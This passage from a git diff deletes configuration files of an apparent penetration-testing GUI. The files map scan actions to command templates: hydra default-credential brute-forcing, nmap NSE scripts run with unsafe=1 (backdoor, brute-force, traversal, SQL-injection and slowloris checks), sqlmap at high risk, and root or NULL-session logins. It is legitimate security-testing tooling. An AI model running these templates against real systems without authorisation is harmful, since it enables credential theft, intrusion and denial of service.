4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" -telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" -wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp -mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, [term] nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], [term] shell -ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, [term] telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, - -[SchedulerSettings] -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -ftp-default=ftp, tcp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" -stage2-ports="T:135,137,139,445,1433,88" -stage3-ports="U:53,110,161,500, 623" -stage4-ports="T:1-10000" -stage5-ports="Vulners,CVE" -stage6-ports="T:80" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -pyshodan-api-key=YourKeyGoesHere -texteditor-path=/usr/bin/leafpad diff --git a/custom_configs/small_scope_all_ports.conf b/custom_configs/small_scope_all_ports.conf deleted file mode 100644 index 76e49472..00000000 --- a/custom_configs/small_scope_all_ports.conf +++ /dev/null @@ -1,329 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" -process-tab-detail=false - -[GeneralSettings] -default-terminal=xterm -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] 